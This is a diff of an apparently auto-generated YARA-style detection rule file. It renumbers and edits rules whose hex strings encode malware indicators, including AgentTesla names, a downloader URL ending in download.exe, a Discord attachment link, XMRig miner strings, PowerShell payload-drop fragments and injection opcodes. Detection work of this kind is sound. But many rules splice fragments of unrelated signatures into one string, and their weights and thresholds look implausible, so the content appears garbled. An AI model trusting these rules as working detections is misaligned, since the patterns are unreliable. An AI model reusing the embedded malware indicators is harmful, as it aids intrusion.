1)*10327+(#a_43_2 & 1)*9760) >=3 } -rule _InfrastructureShared_15800{ +rule _InfrastructureShared_16837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -184330,7 +196652,7 @@ rule _InfrastructureShared_15800{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*3338+(#a_04_2 & 1)*5643) >=3 } -rule _InfrastructureShared_15801{ +rule _InfrastructureShared_16838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -184342,7 +196664,7 @@ rule _InfrastructureShared_15801{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*1553+(#a_6f_2 & 1)*4359) >=3 } -rule _InfrastructureShared_15802{ +rule _InfrastructureShared_16839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -184352,7 +196674,7 @@ rule _InfrastructureShared_15802{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15803{ +rule _InfrastructureShared_16840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -184362,7 +196684,7 @@ rule _InfrastructureShared_15803{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15804{ +rule _InfrastructureShared_16841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -184373,7 +196695,7 @@ rule _InfrastructureShared_15804{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*6181) >=3 } -rule _InfrastructureShared_15805{ +rule _InfrastructureShared_16842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -184385,7 +196707,7 @@ rule _InfrastructureShared_15805{ ((#a_46_0 & 1)*21283+(#a_41_1 & 1)*-252+(#a_43_2 & 1)*-32470) >=3 } -rule _InfrastructureShared_15806{ +rule _InfrastructureShared_16843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -184398,7 +196720,7 @@ rule _InfrastructureShared_15806{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*27753+(#a_20_2 & 1)*28521+(#a_72_3 & 1)*13824) >=3 } -rule _InfrastructureShared_15807{ +rule _InfrastructureShared_16844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -184412,7 +196734,7 @@ rule _InfrastructureShared_15807{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_00_2 & 1)*32+(#a_0a_3 & 1)*-31935+(#a_75_4 & 1)*18030) >=3 } -rule _InfrastructureShared_15808{ +rule _InfrastructureShared_16845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0c 00 21 " @@ -184427,7 +196749,7 @@ rule _InfrastructureShared_15808{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*13362+(#a_5f_2 & 1)*12639+(#a_00_3 & 1)*12593+(#a_01_4 & 1)*5463+(#a_74_5 & 1)*25968) >=3 } -rule _InfrastructureShared_15809{ +rule _InfrastructureShared_16846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -184438,7 +196760,7 @@ rule _InfrastructureShared_15809{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_15810{ +rule _InfrastructureShared_16847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -184450,7 +196772,7 @@ rule _InfrastructureShared_15810{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0+(#a_33_3 & 1)*-32476) >=4 } -rule _InfrastructureShared_15811{ +rule _InfrastructureShared_16848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -184462,7 +196784,22 @@ rule _InfrastructureShared_15811{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2560+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_15812{ +rule _InfrastructureShared_16849{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 4b 53 36 39 00 01 00 4d 80 01 4d 6f 6e 69 74 6f 72 73 20 74 68 65 20 63 75 72 72 65 6e 74 20 74 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 20 77 65 61 74 68 } //16675 + $a_63_1 = {6e 64 69 74 69 6f 6e 73 20 72 69 67 68 74 20 6f 6e 20 79 6f 75 72 20 64 65 73 6b 74 6f 70 01 00 } //29285 + $a_44_2 = {55 } //-32755 U + $a_74_3 = {72 2e 65 78 65 01 00 28 80 01 44 54 55 70 64 61 74 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 14 80 01 44 54 55 70 64 61 74 65 72 2e 50 72 6f 70 65 72 74 69 65 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e } //25712 + $a_74_4 = {6c 6c 2e 65 78 65 00 00 78 f6 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 42 49 21 4d 54 42 00 01 00 4f 02 44 00 65 00 6c 00 65 00 67 00 61 00 74 00 65 00 45 00 78 00 65 00 63 00 75 00 74 00 65 00 90 02 4f 2f 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 66 00 6f 00 } //28265 + $a_00_5 = {65 00 6c 00 70 00 65 00 72 00 2e 00 65 00 78 00 65 00 90 00 01 00 36 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 90 02 4f 68 00 74 00 74 00 70 00 3a 00 90 02 4f 2e 00 65 00 78 00 65 00 90 00 01 00 08 00 64 72 6f 70 50 61 74 68 01 00 0d 00 70 61 79 6c 6f 61 64 42 75 66 } //100 + condition: + ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29285+(#a_44_2 & 1)*-32755+(#a_74_3 & 1)*25712+(#a_74_4 & 1)*28265+(#a_00_5 & 1)*100) >=4 + +} +rule _InfrastructureShared_16850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -184474,7 +196811,7 @@ rule _InfrastructureShared_15812{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*114+(#a_43_4 & 1)*25943) >=5 } -rule _InfrastructureShared_15813{ +rule _InfrastructureShared_16851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -184482,13 +196819,27 @@ rule _InfrastructureShared_15813{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 44 31 34 21 4d 54 42 00 01 00 25 81 01 24 62 36 34 31 63 37 35 36 2d 37 32 39 63 2d 34 36 63 64 2d 39 33 62 62 2d 31 32 64 61 61 62 31 38 34 31 66 33 01 00 59 81 01 63 } //18467 $a_64_1 = {73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 31 30 31 33 39 34 33 36 38 31 37 37 36 30 39 39 34 34 30 2f 31 } //28260 scordapp.com/attachments/1013943681776099440/1 $a_30_2 = {36 39 35 35 36 38 38 33 35 37 39 31 38 2f 54 78 65 6b 75 5f 5a 62 6f 67 75 65 79 65 2e 70 6e 67 01 00 15 81 01 4f 77 65 64 62 6c 71 6f 6a 69 79 2e 47 65 67 } //12592 - $a_63_3 = {69 01 00 0f 81 01 53 70 6d 64 66 6b 68 6b 74 70 66 62 77 65 61 01 00 0a 81 01 50 6e 6f 65 71 74 65 6e 61 69 00 00 78 f6 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 30 39 2d 32 37 73 33 78 70 21 45 4d 4c 00 01 00 0e 00 58 00 62 00 } //31083 - $a_00_4 = {74 00 62 00 24 00 01 00 12 01 58 62 6f 74 74 62 2e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 33 01 61 52 33 6e 62 66 38 64 51 70 32 66 65 4c 6d 6b 33 31 2e 6c 53 66 67 41 70 61 74 6b 64 78 73 56 63 47 63 72 6b 74 6f 46 64 2e 72 65 73 6f 75 72 63 65 73 01 00 25 01 24 65 64 61 39 32 32 34 66 2d 34 64 36 61 2d 34 34 31 37 2d 38 63 36 38 2d 35 34 31 39 } //111 + $a_63_3 = {69 01 00 0f 81 01 53 70 6d 64 66 6b 68 6b 74 70 66 62 77 65 61 01 00 0a 81 01 50 6e 6f 65 71 74 65 6e 61 69 00 00 78 f6 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 52 52 44 70 61 74 63 68 2e 41 00 01 00 1c 03 8b 85 cc fe ff ff 89 44 24 04 c7 04 24 90 01 04 e8 90 01 04 83 ec 08 89 45 ec } //31083 + $a_00_4 = {1c } //144 condition: - ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*28260+(#a_30_2 & 1)*12592+(#a_63_3 & 1)*31083+(#a_00_4 & 1)*111) >=5 + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*28260+(#a_30_2 & 1)*12592+(#a_63_3 & 1)*31083+(#a_00_4 & 1)*144) >=5 } -rule _InfrastructureShared_15814{ +rule _InfrastructureShared_16852{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 52 52 44 70 61 74 63 68 2e 41 00 01 00 1c 03 8b 85 cc fe ff ff 89 44 24 04 c7 04 24 90 01 04 e8 90 01 04 83 ec 08 89 45 ec 90 00 01 00 1c 03 89 44 24 08 8b 45 e0 89 44 24 04 8b 45 cc 89 04 24 e8 90 01 04 83 ec } //21283 + $a_90_1 = {01 00 2a 03 89 44 24 10 8b 45 10 89 44 24 0c 8b 45 e8 89 44 24 08 8b 45 0c 89 44 24 04 8b 45 08 89 04 24 e8 90 01 04 83 ec 14 85 c0 90 00 01 00 37 03 8b 55 24 8b 45 ec 01 c2 8b 45 0c 01 c2 90 01 03 89 44 24 10 8b 45 20 89 44 24 0c 8b 45 1c 89 44 24 08 89 54 24 04 8b 45 08 89 04 24 e8 90 01 04 83 ec 14 85 c0 90 00 01 00 2a 03 8b 45 e0 8b 4d 24 8b 55 ec 01 d1 8b 55 0c 01 d1 90 01 03 89 54 24 10 89 44 24 0c 8b 45 20 90 01 08 8b 45 08 89 04 24 e8 90 00 00 00 78 f6 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 30 39 2d 32 37 73 33 78 70 21 45 4d 4c 00 01 00 0e 00 58 00 62 00 6f 00 74 00 74 00 62 00 24 00 01 00 12 01 58 62 6f 74 74 62 2e 67 2e 72 65 73 6f 75 72 63 65 73 } //-31984 + $a_01_2 = {61 52 33 6e 62 66 38 64 51 70 32 66 65 4c 6d 6b 33 31 2e 6c 53 66 67 41 70 61 74 6b 64 78 73 56 63 47 63 72 6b 74 6f 46 64 2e 72 65 73 6f 75 72 63 65 73 } //1 aR3nbf8dQp2feLmk31.lSfgApatkdxsVcGcrktoFd.resources + $a_01_3 = {24 65 64 61 39 32 32 34 66 2d 34 64 36 61 2d 34 34 31 37 2d 38 63 36 38 2d 35 34 31 39 30 61 35 66 38 30 35 61 } //1 $eda9224f-4d6a-4417-8c68-54190a5f805a + $a_01_4 = {54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 ToBase64String + condition: + ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*-31984+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} +rule _InfrastructureShared_16853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -184502,7 +196853,7 @@ rule _InfrastructureShared_15814{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*21089+(#a_39_2 & 1)*25701+(#a_3a_4 & 1)*21840+(#a_67_6 & 1)*27905) >=7 } -rule _InfrastructureShared_15815{ +rule _InfrastructureShared_16854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -184520,7 +196871,7 @@ rule _InfrastructureShared_15815{ ((#a_41_0 & 1)*20515+(#a_73_1 & 1)*17522+(#a_65_2 & 1)*25902+(#a_6f_4 & 1)*17921+(#a_65_5 & 1)*385+(#a_65_6 & 1)*29806+(#a_42_7 & 1)*12386+(#a_65_8 & 1)*24942+(#a_4b_9 & 1)*11873) >=7 } -rule _InfrastructureShared_15816{ +rule _InfrastructureShared_16855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -184537,7 +196888,7 @@ rule _InfrastructureShared_15816{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*24936+(#a_01_2 & 1)*2560+(#a_50_3 & 1)*28018+(#a_74_4 & 1)*26369+(#a_6a_5 & 1)*29268+(#a_34_6 & 1)*26167+(#a_68_7 & 1)*28792) >=8 } -rule _InfrastructureShared_15817{ +rule _InfrastructureShared_16856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -184554,7 +196905,7 @@ rule _InfrastructureShared_15817{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*20024+(#a_62_2 & 1)*25971+(#a_64_3 & 1)*25454+(#a_01_4 & 1)*2560+(#a_01_5 & 1)*30821+(#a_74_6 & 1)*11877+(#a_00_7 & 1)*12884) >=8 } -rule _InfrastructureShared_15818{ +rule _InfrastructureShared_16857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -184572,7 +196923,7 @@ rule _InfrastructureShared_15818{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_f6_6 & 1)*0+(#a_6c_7 & 1)*28275+(#a_64_8 & 1)*25964) >=9 } -rule _InfrastructureShared_15819{ +rule _InfrastructureShared_16858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -184588,7 +196939,7 @@ rule _InfrastructureShared_15819{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28265+(#a_65_2 & 1)*11877+(#a_00_5 & 1)*400+(#a_00_6 & 1)*10250+(#a_07_7 & 1)*1282+(#a_1f_8 & 1)*0) >=9 } -rule _InfrastructureShared_15820{ +rule _InfrastructureShared_16859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -184600,24 +196951,43 @@ rule _InfrastructureShared_15820{ ((#a_54_0 & 1)*18467+(#a_02_2 & 1)*5644+(#a_00_4 & 1)*17) >=11 } -rule _InfrastructureShared_15821{ +rule _InfrastructureShared_16860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " strings : $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 46 72 70 43 6c 69 65 6e 74 2e 41 21 64 68 61 00 0a 00 20 01 67 69 74 68 75 62 2e 63 6f 6d 2f 66 61 74 65 64 69 65 72 2f 66 72 70 2f 63 6d 64 2f 66 72 70 63 01 00 1a 01 67 69 } //16675 $a_62_1 = {63 6f 6d 2f 61 72 6d 6f 6e 2f 67 6f 2d 73 6f 63 6b 73 35 01 00 19 01 67 69 74 68 75 62 2e 63 6f 6d 2f 66 61 74 65 64 69 65 72 2f 62 65 65 67 6f 01 00 1e 01 67 69 74 68 75 62 2e 63 6f 6d 2f 70 69 72 65 73 2f 67 6f 2d 70 72 6f 78 79 70 72 6f 74 6f 01 00 0b 01 25 21 50 53 2d 41 64 6f 62 65 2d 01 00 0e 01 50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30 01 00 } //26740 - $a_61_2 = {74 65 72 20 73 65 63 72 65 74 01 00 0f 01 63 6c 69 65 6e 74 20 66 69 6e 69 73 68 65 64 00 00 78 f6 00 00 7a 00 6f 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 54 69 6e 79 2e 53 49 42 21 4d 54 42 00 64 00 44 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 68 00 75 00 74 00 61 00 } //269 - $a_00_3 = {70 00 90 02 0a 68 00 74 00 2e 00 90 02 0a 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 2e 00 65 00 78 00 65 00 90 00 64 00 26 02 } //111 - $a_70_4 = {2f 2f 68 75 74 61 6f 2e 70 90 02 0a 68 74 2e 90 02 0a 2f 64 6f 77 6e 6c 6f 61 64 2e 65 78 65 90 00 0a 00 1a 80 01 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 53 61 6e 64 62 6f 78 69 65 0a 00 0c 80 01 53 62 69 65 43 74 72 6c 2e 65 78 65 01 00 0b 80 01 63 6f 6d 6d 61 6e 64 2e 63 6f 6d 01 00 0d 80 01 4c 61 6e 6d 4b 74 6d 52 6d 2e 65 78 65 00 } //29800 - $a_00_5 = {00 01 00 01 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 42 49 6e 6a 65 63 74 2e 41 45 4e 00 01 00 7d 03 c6 42 06 6b 8b 0d 90 01 04 88 59 07 8b 15 90 01 04 c6 42 08 65 8b 0d 90 01 04 88 59 09 8b 15 90 01 04 c6 42 0a 72 8b 0d 90 01 04 88 59 0b 8b 15 90 01 04 c6 42 0c 6e 8b 0d 90 01 04 88 59 0d 8b 15 90 01 04 c6 42 0e 65 8b 0d 90 01 04 88 59 0f 8b 15 90 01 04 c6 42 10 6c 8b 0d 90 01 04 88 59 11 8b 15 90 01 04 c6 42 12 33 8b 0d 90 01 04 88 59 13 8b 15 90 01 04 c6 42 14 32 90 00 01 00 52 03 01 00 00 68 8b 35 90 01 04 c6 86 90 01 01 01 00 00 9c 8b 35 90 01 04 c6 86 90 01 01 01 00 00 95 8b 35 90 01 04 c6 86 90 01 01 01 00 00 1a 8b 35 90 01 04 c6 86 90 01 01 01 00 00 6e 8b 35 90 01 04 c6 86 90 01 01 01 00 00 51 90 09 03 00 c6 86 90 00 00 } //30720 - $a_00_6 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 61 76 69 63 61 2e 53 49 42 21 4d 54 42 00 01 00 ad 03 8b 4f 3c 03 cf 81 39 50 45 00 00 89 4c 24 90 01 01 0f 85 90 01 04 53 8b 59 78 8b 4c 3b 1c 03 df 03 cf 89 4c 24 90 01 01 8b 4b 24 03 cf 89 4c 24 90 01 01 8b 4b 20 03 cf 83 7b 18 00 89 5c 24 90 01 01 89 4c 24 90 01 01 c7 44 24 90 01 01 00 00 00 00 0f 86 90 01 04 55 56 90 18 8b 54 24 90 01 01 8b 34 91 03 f7 56 ff 15 90 01 04 50 56 6a 00 e8 90 01 04 8b 54 24 50 33 44 24 54 33 ed 85 d2 0f 8e 90 01 04 8b 4c 24 4c 3b 01 90 18 8b 44 24 90 01 01 8b 4c 24 90 01 01 0f b7 14 48 8b 44 24 90 01 01 8b 3c 90 90 03 7c 24 48 90 00 01 00 18 03 8b 4c 24 04 33 c0 ba 90 01 04 66 31 14 41 40 83 f8 90 01 01 7c f1 90 00 00 } //30720 - $a_00_7 = {00 02 00 02 00 02 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 53 68 6d 61 6e 64 61 6c 65 72 2e 41 00 01 00 a0 01 52 00 65 00 71 00 75 00 65 00 73 00 74 00 48 00 61 00 6e 00 64 00 6c 00 65 00 72 00 2e 00 61 00 73 00 68 00 78 00 3f 00 55 00 49 00 44 00 3d 00 7b 00 30 00 7d 00 26 00 63 00 6f 00 64 00 65 00 6e 00 61 00 6d 00 65 00 3d 00 7b 00 31 00 7d 00 26 00 76 00 65 00 72 00 73 00 69 00 6f 00 6e 00 3d 00 7b 00 32 00 7d 00 26 00 62 00 72 00 6f 00 77 00 73 00 65 00 72 00 3d 00 7b 00 33 00 7d 00 26 00 6f 00 73 00 3d 00 7b 00 34 00 7d 00 26 00 6d 00 6f 00 64 00 65 00 3d 00 7b 00 35 00 7d 00 01 00 16 01 17 70 00 65 00 6e 00 64 00 69 00 6e 00 67 00 2e 00 64 00 61 00 74 00 } //30720 + $a_61_2 = {74 65 72 20 73 65 63 72 65 74 01 00 0f 01 63 6c 69 65 6e 74 20 66 69 6e 69 73 68 65 64 00 00 78 f6 00 00 21 00 21 00 0b 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 58 4d 52 69 67 00 0a 00 0c 01 55 73 61 67 65 3a 20 78 6d 72 69 67 01 00 11 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 68 65 61 76 79 02 00 15 01 63 72 79 70 74 6f 6e 69 67 } //269 + $a_75_3 = {74 72 61 6c 69 74 65 02 00 08 01 78 6d 72 2e 70 6f 6f 6c 02 00 0f 81 01 58 4d 52 69 67 20 43 50 55 20 6d 69 6e 65 72 02 00 1c 01 6e 6f } //29800 + $a_74_4 = {76 65 20 70 6f 6f 6c 73 2c 20 73 74 6f 70 20 6d 69 6e 69 6e 67 03 00 12 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 6d 6f 6e 65 72 6f 03 00 09 01 6d 69 6e 65 72 67 61 74 65 04 00 12 01 63 72 79 70 74 6f 6e 69 67 68 74 5f 74 75 72 74 6c 65 05 00 0f 01 63 72 79 70 74 6f 6e 69 67 68 74 2f 67 70 75 06 00 } //24864 + $a_74_5 = {61 74 75 6d 2b 74 63 70 3a 2f 2f 00 00 78 f6 00 00 7a 00 6f 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 54 69 6e 79 2e 53 49 42 21 4d 54 42 00 64 00 44 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 68 00 75 00 74 00 61 00 6f 00 2e 00 70 00 90 02 0a 68 00 74 00 2e 00 90 02 0a 2f 00 64 00 6f 00 } //270 + $a_00_6 = {6c 00 6f 00 61 00 64 00 2e 00 65 00 78 00 65 00 90 00 64 00 26 02 68 74 74 70 3a 2f 2f 68 75 74 61 6f 2e 70 90 02 0a 68 74 2e 90 02 0a 2f 64 6f 77 6e 6c 6f 61 64 2e 65 78 65 90 00 0a 00 1a 80 01 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 53 61 6e 64 62 6f 78 69 65 0a 00 0c 80 01 53 62 69 65 43 74 72 6c 2e 65 78 65 01 00 } //119 + $a_63_7 = {6d } //-32757 m condition: - ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*26740+(#a_61_2 & 1)*269+(#a_00_3 & 1)*111+(#a_70_4 & 1)*29800+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720) >=17 + ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*26740+(#a_61_2 & 1)*269+(#a_75_3 & 1)*29800+(#a_74_4 & 1)*24864+(#a_74_5 & 1)*270+(#a_00_6 & 1)*119+(#a_63_7 & 1)*-32757) >=17 } -rule _InfrastructureShared_15822{ +rule _InfrastructureShared_16861{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,21 00 21 00 0b 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 58 4d 52 69 67 00 0a 00 0c 01 55 73 61 67 65 3a 20 78 6d 72 69 67 01 00 11 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 68 65 61 76 79 02 00 15 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 75 6c 74 72 61 6c 69 74 65 02 00 08 01 78 6d 72 2e 70 6f 6f } //20515 + $a_4d_2 = {69 67 20 43 50 55 20 6d 69 6e 65 72 02 00 1c 01 6e 6f 20 61 63 74 69 76 65 20 70 6f 6f 6c 73 2c 20 73 74 6f 70 20 6d 69 6e 69 6e 67 03 00 12 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 6d 6f 6e 65 72 6f 03 00 09 01 6d 69 6e 65 72 67 61 74 65 04 00 12 01 63 72 79 70 74 } //385 + $a_67_3 = {74 5f 74 75 72 74 6c 65 05 00 0f 01 63 72 79 70 74 6f 6e 69 67 68 74 2f 67 70 75 06 00 0e 01 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 00 00 78 f6 00 00 7a 00 6f 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 54 69 6e 79 2e 53 49 42 21 4d 54 42 00 64 00 44 02 68 00 } //28271 + $a_00_4 = {70 00 3a 00 2f 00 2f 00 68 00 75 00 74 00 61 00 6f 00 2e 00 70 00 90 02 0a 68 00 74 00 2e 00 90 02 0a 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 2e 00 65 00 78 00 65 00 90 00 64 00 26 02 68 74 74 70 3a 2f 2f 68 75 74 61 6f 2e 70 90 02 0a 68 74 2e 90 02 0a 2f 64 6f 77 6e 6c 6f 61 64 2e 65 78 65 90 00 0a 00 1a 80 01 43 3a 5c 50 72 6f 67 } //116 + $a_20_5 = {69 6c 65 73 5c 53 61 6e 64 62 6f 78 69 65 0a 00 0c 80 01 53 62 69 65 43 74 72 6c 2e 65 78 65 01 00 0b 80 01 63 6f 6d 6d 61 6e 64 2e 63 6f 6d 01 00 0d 80 01 4c 61 6e 6d 4b 74 6d 52 6d 2e 65 78 65 00 00 78 f7 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 42 49 6e 6a 65 63 74 2e 41 45 4e 00 01 00 7d 03 c6 42 06 6b } //24946 + $a_01_6 = {04 88 59 07 8b 15 90 01 04 c6 42 08 65 8b 0d 90 01 04 88 59 09 8b 15 90 01 04 c6 42 0a 72 8b 0d 90 01 04 88 59 0b 8b 15 90 01 04 c6 42 0c 6e 8b 0d 90 01 04 88 59 0d 8b 15 90 01 04 c6 42 0e 65 8b 0d 90 01 04 88 59 0f 8b 15 90 01 04 c6 42 10 6c 8b 0d 90 01 04 88 59 11 8b 15 90 01 04 c6 42 12 33 8b 0d 90 01 04 88 59 13 8b 15 90 01 04 c6 42 14 32 90 00 01 00 52 03 01 00 00 68 8b 35 90 01 04 c6 86 90 01 01 01 00 00 9c 8b 35 90 01 04 } //3467 + $a_01_7 = {01 01 00 00 95 8b 35 90 01 04 c6 86 90 01 01 01 00 00 1a 8b 35 90 01 04 c6 86 90 01 01 01 00 00 6e 8b 35 90 01 04 c6 86 90 01 01 01 00 00 51 90 09 03 00 c6 86 90 00 00 00 78 f7 00 00 01 00 01 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6f 75 72 50 6f 6e 79 2e 41 21 64 68 61 00 01 00 1e 01 5b 00 79 00 73 00 6f 00 20 00 61 00 72 00 67 00 73 00 5d 00 28 00 65 00 2e 00 67 00 2e 00 01 00 30 01 47 00 65 00 72 00 } //-31034 + $a_00_8 = {61 00 74 00 65 00 20 00 50 00 61 00 79 00 6c 00 6f 00 61 00 64 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 2e 00 01 00 22 01 79 00 73 00 6f 00 5c 00 79 00 73 00 6f 00 73 00 65 00 72 00 69 00 61 00 6c 00 2e 00 65 00 78 00 65 00 01 00 30 01 3c 00 78 00 73 00 3a 00 65 00 6c 00 65 00 6d 00 65 00 6e 00 74 00 20 00 6e 00 61 00 6d 00 65 00 3d 00 } //110 + $a_00_9 = {65 00 68 00 65 00 22 00 3e 00 01 00 1a 01 3c 00 68 00 65 00 68 00 65 00 20 00 64 00 69 00 66 00 66 00 67 00 72 00 3a 00 00 00 78 f7 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 61 76 69 63 61 2e 53 49 42 21 4d 54 42 00 01 00 ad 03 8b 4f 3c 03 cf 81 39 50 45 00 00 89 4c 24 } //34 + $a_0f_10 = {85 } //400 + condition: + ((#a_41_0 & 1)*20515+(#a_4d_2 & 1)*385+(#a_67_3 & 1)*28271+(#a_00_4 & 1)*116+(#a_20_5 & 1)*24946+(#a_01_6 & 1)*3467+(#a_01_7 & 